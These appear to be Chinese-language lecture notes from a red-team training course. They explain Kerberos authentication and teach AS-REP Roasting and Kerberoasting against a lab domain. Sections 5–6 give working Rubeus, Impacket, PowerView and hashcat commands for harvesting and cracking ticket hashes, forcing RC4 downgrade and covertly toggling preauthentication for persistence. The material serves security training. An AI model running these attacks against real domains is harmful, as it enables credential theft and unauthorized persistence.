目 录CONTENT

文章目录

红队行动Live-20241112

Administrator
2025-04-16 / 0 评论 / 0 点赞 / 7 阅读 / 0 字

1. 开篇、回顾与本周规划

1.1 上周回顾与本周节奏

  • 放缓速度: 为了确保学员能跟上进度,巩固之前外网打点阶段的重要环节,本周刻意放慢了教学节奏。

  • 复习要求: 学员需要利用本周时间,回顾并熟练掌握之前的技术操作。

1.2 技能与笔记要求

  • 熟练操作: 之前的技术点需要达到熟练操作的程度。

  • 笔记体系: 强调建立个人笔记体系的重要性。可以借鉴,但要有自己的思考和结构,以应对后续更复杂、信息量更大的攻击链。混乱的笔记会导致后续学习更加困难。

1.3 本周核心任务

  • 域枚举: 继续上周计划,对圈定的 192.168.20.x21.x 网段的五台目标机器,进行深入的、与域相关的枚举。

  • 经典域攻击: 实施 AS-REP RoastingKerberoasting。这两种是初期域渗透中非常经典的攻击手法。

  • 哈希破解: 利用上周讲解的爆破技术(John/Hashcat、规则应用等)对 Roasting 攻击获取到的哈希进行破解。

  • 凭据利用: 尝试使用破解得到的凭据进行登录或访问。

  • 目标: 完成域枚举,成功执行至少一种 Roasting 攻击,破解哈希并利用凭据获得初步访问。

2. 爆破专题深化与补充

2.1 上周爆破内容回顾

  • 上周主要使用 John 和 Hashcat 破解了两个示例哈希:一个简单的 MD5 哈希 (VIP SU) 和一个 Kerberos TGS 哈希 (etype 23)。

  • 重点在于拓展讲解了爆破过程中的细节、工具选择、参数优化、规则应用等深度内容。

2.2 字典生成工具 (cewl, crunch)

  • 对于字典生成,cewl (基于 Web 爬取) 和 crunch (基于规则生成) 是两个核心且通常足够使用的工具。

  • 若有更专业需求(如负责团队爆破工作),可单独沟通学习更高级的字典生成技术。

2.3 新资源:AssetNote Wordlists

  • https://wordlists.assetnote.io

  • 来源: GitHub 上的 assetnote/wordlists 仓库。由 AssetNote 团队维护,讲师团队的爆破手推荐

  • 特点:

    • 数据源广泛: 利用 Common Crawl (互联网网页存档)、GitHub Actions 等数据。

    • 自动更新: 每月 28 日自动更新,保持字典的时效性。

    • 分类清晰: 按文件扩展名、Web 技术 (如 Ruby on Rails)、应用等进行分类,便于针对性使用。

    • 可定制: 支持用户提供种子 URL 或内容生成自定义字典(注意生成结果公开)。

  • 获取: 可使用 wget 命令下载。

    Bash

    您可以使用以下命令一次下载所有单词表:
    wget -r --no-parent -R "index.html*" https://wordlists-cdn.assetnote.io/data/ -nH -e robots=off
  • 学习价值: 不仅是获取字典,更重要的是学习其分类方法、生成逻辑,理解不同场景下的特征词汇,提升字典使用的针对性。

2.4 字典应用与爆破哲学

  • 前提: 爆破工具的参数配置、规则应用等优化手段应优先于单纯追求字典大小。

  • 针对性: 理解字典分类,根据目标的技术栈、业务特性选择合适的字典。下载后观察词条特征,有助于理解其适用性。

  • 规则与掩码: 规则 (-r) 比掩码 (-a 3 的纯暴力) 更常用且有效,因为规则能模拟更真实的密码构造方式。掩码通常用于已知部分密码结构或密码较短的场景。

  • 爆破心态: 爆破本质上是概率性尝试。由于信息不对等(无法预知密码来源和强度),不能保证一定成功。

2.5 字典进阶处理:比较、合并与规则

  • 工具/脚本: 存在用于比较、合并、去重、进化 (Evolving) 字典的工具或脚本 (PDF 中提到了一个相关脚本)。

  • 分析与定制:

    • 观察目标字典特征(分段查看)。

    • 基于目标的用户命名规则、密码策略(若能获取)来重写或定制破解规则,能显著提高效率。

  • 密码策略: 了解目标的密码策略(长度、复杂度、禁用字符等)对爆破非常有帮助。现代密码管理器可能使策略更复杂。

3. Kerberos 协议深入理解

3.1 Kerberos 基础与核心价值

  • 定义: 一种网络认证协议,允许实体(用户、计算机)在非安全网络上安全地证明其身份,并访问服务。

  • 默认端口: TCP/UDP 88。

  • 核心地位: Windows 2000 及以后域环境的默认认证协议。

  • 核心价值: 实现集中式身份认证,用户只需登录一次即可访问授权的各种网络服务,无需重复输入密码,服务器也无需存储用户密码。

3.2 双跳问题 (Double Hop Problem) 与 NTLM 局限

  • 双跳问题: 用户通过 A 机器远程登录到 B 机器后,再试图从 B 机器访问 C 机器资源时,身份凭据无法传递,导致认证失败。

  • NTLM 问题根源: NTLM 基于会话的哈希认证机制,认证信息仅在初始会话有效,无法安全地跨机器(第二跳)转发。

3.3 Kerberos 解决方案:票据与委派

  • 票据 (Tickets): Kerberos 使用 TGT 和 ST(服务票据)作为身份和授权的凭证,这些票据被设计为可以安全传递。

  • 委派 (Delegation): Kerberos 的核心机制之一,允许服务代表用户去访问其他服务。正是委派机制解决了双跳问题。(委派的类型和攻击将在后续深入)。

3.4 Kerberos 核心组件

  • User (Client): 请求服务的主体。

  • Service: 提供服务的资源,由 SPN (Service Principal Name) 标识。SPN 是 AD 账户(用户或计算机)的一个属性,格式如 service/host:port

  • KDC (Key Distribution Center): 密钥分发中心,域内的认证权威。通常由 DC 担任。包含两个服务:

    • AS (Authentication Service): 认证用户,发放 TGT。

    • TGS (Ticket Granting Service): 验证 TGT,发放 ST。

3.5 Kerberos 认证三阶段详解 (结合 PDF 图示)

3.5.1 阶段一:AS Exchange (请求 TGT)

  1. AS-REQ (用户 -> KDC/AS)

    • 用户提供凭据(如密码),客户端计算出用户密钥 (User Key)。

    • 预认证 (Pre-authentication): 客户端用 User Key 加密当前时间戳 (作为 Authenticator)。

    • 请求包含:用户名 (明文),目标服务 (krbtgt/DOMAIN),加密的时间戳。

    • 目的: KDC 通过解密时间戳验证用户密码是否正确。

  2. AS-REP (KDC/AS -> 用户)

    • KDC 验证预认证成功(或预认证被禁用)。

    • 生成会话密钥 1 (SK1)

    • 创建 TGT:包含用户名、域信息、SK1 副本、有效期等,用 KDC 的 krbtgt 密钥加密。

    • SK1 + 有效期等信息,用用户密钥 (User Key) 加密。

    • 发送:(加密的 SK1 部分) + (加密的 TGT)。

    • 用户解密获得 SK1,无法解密 TGT。

3.5.2 阶段二:TGS Exchange (请求服务票据 ST/TGS)

  1. TGS-REQ (用户 -> KDC/TGS)

    • 用户想访问服务 (SPN 已知)。

    • 创建 Authenticator (含时间戳),用 SK1 加密。

    • 请求包含:目标服务的 SPN,用户持有的 TGT,加密的 Authenticator。

  2. TGS-REP (KDC/TGS -> 用户)

    • KDC 用 krbtgt 密钥解密 TGT,获取 SK1。

    • 用 SK1 解密 Authenticator 进行验证。

    • 验证成功:

      • 生成会话密钥 2 (SK2)

      • 创建 服务票据 (ST / TGS Ticket):包含用户名、SK2 副本、授权信息 (PAC)、有效期等,用目标服务账户的密钥加密。

      • SK2 + 有效期等信息,用 SK1 加密。

    • 发送:(加密的 ST) + (加密的 SK2)。

    • 用户用 SK1 解密获得 SK2,无法解密 ST。

3.5.3 阶段三:AP Exchange (访问服务)

  1. AP-REQ (用户 -> 服务)

    • 用户创建 Authenticator (含时间戳),用 SK2 加密。

    • 请求包含:ST (服务票据),加密的 Authenticator。

  2. 服务验证与 AP-REP (服务 <-> 用户):

    • 服务用自身密钥解密 ST,获取 SK2、用户信息、PAC。

    • 用 SK2 解密 Authenticator 进行验证。

    • 验证成功,服务检查 PAC 确认权限。

    • (可选)服务可能发送用 SK2 加密的 AP-REP 给用户,实现双向认证。

    • 服务授予访问权限。

3.6 红队视角:关注加密密钥与数据流

  • 核心: 理解每一步谁加密了什么,用的是谁的密钥。这决定了哪些信息可能被拦截和破解。

  • TGT:krbtgt 密钥加密。控制 krbtgt 密钥 = 控制域 (Golden Ticket)。

  • AS-REP (SK1 部分): 由用户密钥加密。-> AS-REP Roasting。

  • ST (TGS Ticket): 由服务账户密钥加密。-> Kerberoasting / Silver Ticket。

  • TGS-REP (SK2 部分): 由 SK1 加密。

  • AP-REQ (Authenticator): 由 SK2 加密。

  • 理解这些关系是构建 Kerberos 攻击链的基础。

4. Kerberos 攻击技术详解

4.1 Kerberos 攻击主要分类

  • 票据请求攻击 (Ticket Request Attack / Roasting): AS-REP Roasting, Kerberoasting。

  • 票据伪造攻击 (Ticket Forgery Attack): Golden Ticket, Silver Ticket。(本次不涉及)

  • 委派攻击 (Delegation Attack): Exploiting Unconstrained, Constrained, RBCD。(后续重点)

  • 密码喷洒 (Password Spraying): 针对认证过程的暴力破解。

4.2 票据请求攻击 (Roasting) 详解

  • 共同点: 都涉及获取 Kerberos 协议交互中产生的、用某种(用户或服务)密钥加密的数据块,然后进行离线破解。

4.2.1 AS-REP Roasting (AS-REP 烤票攻击)

  • 原理: 利用禁用预认证的用户账户。攻击者可直接请求 AS-REP,获取用用户密钥加密的 SK1 部分,离线破解用户密码。

  • 前提: 知道用户名,且该用户禁用了预认证。无需初始凭据

  • 价值: 获取初始用户凭据。相对少见但有效。可用于持久化。

4.2.2 Kerberoasting (TGS-REP 烤票攻击)

  • 原理: 利用注册了 SPN 且密码较弱的服务账户。任意认证用户可请求该 SPN 的 TGS 票据 (ST),获取用服务账户密钥加密的 ST,离线破解服务账户密码。

  • 前提: 拥有任意有效的域用户凭据。目标服务账户密码可被破解。

  • 价值: 获取高权限服务账户凭据,是常见的权限提升和横向移动手段。

5. AS-REP Roasting 攻击实践

5.1 攻击原理与利用条件 (禁用预认证)

  • AD 用户账户属性中勾选了 "Do not require Kerberos preauthentication"。

  • 允许任何知道用户名的人在无密码情况下获取 AS-REP 中的加密部分。

5.2 实战价值与场景

  • 初始访问: 如果能从未认证状态枚举到此类用户,可获取第一批域凭据。

  • 权限提升/持久化: 如果已获得对某些账户的修改权限,可临时启用此标志,获取哈希后再恢复,作为一种隐蔽获取凭据的方式。特别适用于不便直接重置密码的场景,或在监控较少的设备账户上设置持久化后门。

  • 配置错误来源: 老旧应用集成、供应商安装指南要求、管理员疏忽。

5.3 枚举方法 (PowerView, Rubeus, Impacket)

  • PowerView (PowerShell):

    PowerShell

    Import-Module .\PowerView.ps1
    Get-DomainUser -UACFilter DONT_REQ_PREAUTH
  • Rubeus (C#):

    PowerShell

    .\Rubeus.exe asreproast /format:hashcat # 枚举并输出 Hashcat 格式
  • Impacket (GetNPUsers.py, Linux/Python):

    Bash

    # 需要已有域凭据 (redpen) 来查询 AD
    impacket-GetNPUsers aptlabs.local/redpen -outputfile userlist.txt
    # 或者,如果无凭据但有用户列表,尝试对列表中的用户请求
    impacket-GetNPUsers aptlabs.local/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.txt

5.4 执行攻击 (Rubeus, Impacket GetNPUsers)

  • Rubeus:

    PowerShell

    .\Rubeus.exe asreproast /user:jenna.smith /domain:aptlabs.local /dc:dc01.aptlabs.local /nowrap /outfile:hashes.txt
  • Impacket (GetNPUsers.py):

    Bash

    # 请求指定用户的哈希
    impacket-GetNPUsers aptlabs.local/ -usersfile vulnerable_users.txt -request -format hashcat -outputfile hashes.txt
    # 或者直接在枚举时添加 -request 参数

5.5 哈希破解 (Hashcat Mode 18200)

  • 获取到的哈希格式通常为 $krb5asrep$23$<user>@<DOMAIN>:<hash_part> (etype 23 为 RC4)。

  • Hashcat 命令:

    Bash

    hashcat -m 18200 hashes.txt rockyou.txt

5.6 持久化利用:修改预认证标志

  • 前提: 对目标账户有 GenericAll 或等效写入权限。

  • PowerView 命令:

    PowerShell

    # 启用 DONT_REQ_PREAUTH (实际是设置标志位)
    Set-DomainObject -Identity <target_username> -XOR @{useraccountcontrol=4194304} -Verbose
    # 执行 AS-REP Roasting 获取哈希...
    # (可选) 恢复设置 (再次执行 XOR 操作)
    Set-DomainObject -Identity <target_username> -XOR @{useraccountcontrol=4194304} -Verbose

5.7 Linux vs Windows 执行

  • 两种环境均可执行,选择取决于当前立足点和偏好。Linux 常用 Impacket,Windows 常用 PowerView/Rubeus。

6. Kerberoasting 攻击实践

6.1 攻击原理与利用条件 (SPN & 弱密码)

  • 目标是绑定了 SPN 的服务账户。

  • 需要一个有效的域凭据(任何用户)来请求 TGS 票据。

  • 成功关键在于服务账户的密码是否足够弱以被离线破解。

6.2 SPN 与服务账号关联机制

  • SPN 是 AD 账户(用户或计算机)的属性,用于标识服务实例。

  • 存储在 AD 中的信息包括 SPN、关联账户、机器名、端口等。

  • 理解这些关联有助于构造正确的请求和排查问题。

6.3 风险来源:为何 SPN 常绑定用户账号

  • 配置复杂性: 设置专用服务账户 (MSA/gMSA) 较麻烦。

  • 兼容性问题: 第三方或老旧应用可能不支持服务账户密码轮换。

  • 运维便利性/疏忽: 管理员使用普通用户账户运行服务。

  • 审计要点: 发现 SPN 绑定到普通用户账户本身就是潜在风险点,即使当前密码强,未来也可能被修改为弱密码。严重性应标记,并指出风险。

6.4 手动与自动化枚举 SPN 账户 (LDAP, PowerShell, PowerView, SetSPN)

  • LDAP 过滤器 (手动/脚本):

    代码段

    (&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))

    (查找绑定了 SPN 的用户账户)

  • PowerShell AD Module:

    PowerShell

    Get-ADUser -Filter 'servicePrincipalName -like "*"' -Properties servicePrincipalName
  • PowerView:

    PowerShell

    Get-DomainUser -SPN
  • SetSPN.exe (Windows 内置):

    DOS

    setspn -Q */* # 查询域内所有 SPN
    setspn -T <domain> -Q */* # 查询指定域
    setspn -L <accountname> # 列出账户的 SPN

6.5 执行攻击获取 TGS 票据 (PowerView, Rubeus, Impacket GetUserSPNs)

  • PowerView:

    PowerShell

    # 方法一:组合命令
    Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv tgs.csv -NoTypeInformation
    # 方法二:专用函数
    Invoke-Kerberoast -Format Hashcat -Outputfile tgs.txt
  • Rubeus:

    PowerShell

    # 对所有可 Kerberoast 用户执行
    .\Rubeus.exe kerberoast /nowrap /outfile:hashes.txt
    # 对特定用户
    .\Rubeus.exe kerberoast /user:<username> /outfile:hashes.txt
    # 统计信息,不发包
    .\Rubeus.exe kerberoast /stats
  • Impacket (GetUserSPNs.py):

    Bash

    # 请求所有可 Kerberoast 用户的票据哈希
    impacket-GetUserSPNs <DOMAIN>/<USER>:<PASSWORD> -request -outputfile hashes.txt

6.6 哈希破解 (Hashcat Mode 13100 - RC4)

  • 获取到的 TGS 票据哈希格式通常为 $krb5tgs$23$<SPN>@<DOMAIN>:<hash_part>

  • Hashcat 命令:

    Bash

    hashcat -m 13100 hashes.txt rockyou.txt
  • 结果示例 (PDF): 成功破解了 sqlqa, sqlprod, sql-test, sqldev 四个账户的密码 (均为 Welcome1)。

6.7 加密类型影响 (RC4 vs AES) 与强制 RC4

  • 检查加密类型: Rubeus /stats 或查看 AD 账户 msDS-SupportedEncryptionTypes 属性。

  • AES 哈希: 模式 19600 (AES-128), 19700 (AES-256)。破解难度远大于 RC4。哈希前缀为 $krb5tgs$17$$krb5tgs$18$

  • 强制 RC4 (/tgtdeleg): Rubeus 的 /tgtdeleg 标志可以尝试请求 RC4 加密的 TGS 票据,即使账户支持 AES。这利用了 Kerberos 委派获取 TGT Delegation Ticket 的过程,可能迫使 KDC 降级使用 RC4。如果成功,能获得更易破解的 RC4 哈希 (13100)。并非所有环境都有效。

6.8 无需凭据的 Kerberoasting (利用 AS-REP Roasting 账户)

  • 原理: 如果存在一个禁用了预认证的账户 (可被 AS-REP Roasting),理论上可以利用这个账户的身份(无需知道其密码)去请求其他服务的 TGS 票据,从而进行 Kerberoasting。

  • Rubeus 实现: 使用 createnetonly 创建一个无凭据的网络登录会话,然后执行 kerberoast 时使用 /nopreauth:<ASREP_User> 参数指定用哪个禁用预认证的用户身份去请求 TGS 票据。

    PowerShell

    # 1. 创建无凭据会话
    .\Rubeus.exe createnetonly /program:cmd.exe /show
    # 2. 在新 CMD 窗口中执行
    .\Rubeus.exe kerberoast /nopreauth:amber.smith /domain:aptlabs.local /spn:MSSQLSvc/SQL01:1433 /nowrap

6.9 Linux vs Windows 执行

  • 同样,Kerberoasting 也可以在 Linux (Impacket) 或 Windows (PowerView, Rubeus) 环境下执行。

7. 总结与后续展望

7.1 本周核心理解要点

  • 深入理解 Kerberos 认证的三个阶段及各阶段的数据交换和加密机制。

  • 掌握 AS-REP Roasting 和 Kerberoasting 的原理、利用条件、攻击流程和相关工具。

  • 理解 SPN 与服务账户的关系,以及人为配置带来的安全风险。

  • 巩固爆破技术,特别是规则的应用和字典的选择策略。

7.2 后续课程内容预告 (PS, ADFS, Relay, Rubeus 等)

  • PowerShell 深入: PowerView, AD Module, PS Remoting (小专题)。

  • ADFS 攻击: 下一个主要的复杂攻击模块。

  • 委派攻击

  • Impacket 框架

  • Rubeus 工具

  • Kerberos 中继 (Relay)

7.3 工具与环境配置 Q&amp;A (kerbrute, PAC, Linux 票据管理)

  • kerbrute: 用于用户枚举,但久未更新。

  • PAC (Privilege Attribute Certificate): 票据中的授权信息,BloodHound 等工具会解析。

  • Linux 票据管理: 使用 klist, kinit 等工具,在后续 Kerberos 中继等攻击中会用到,需要配置相关环境。

7.4 KRBTGT 账户提及

  • 用于加密 TGT 的关键账户,其哈希是 Golden Ticket 的核心。

7.5 靶场后续阶段复杂度预告 (ADFS, 客户关系系统等)

  • 接下来几周会进入靶场的复杂阶段,涉及 ADFS、可能的 CRM 系统攻击等,环境和攻击链将更加混乱和 challenging。

-.-

0

评论区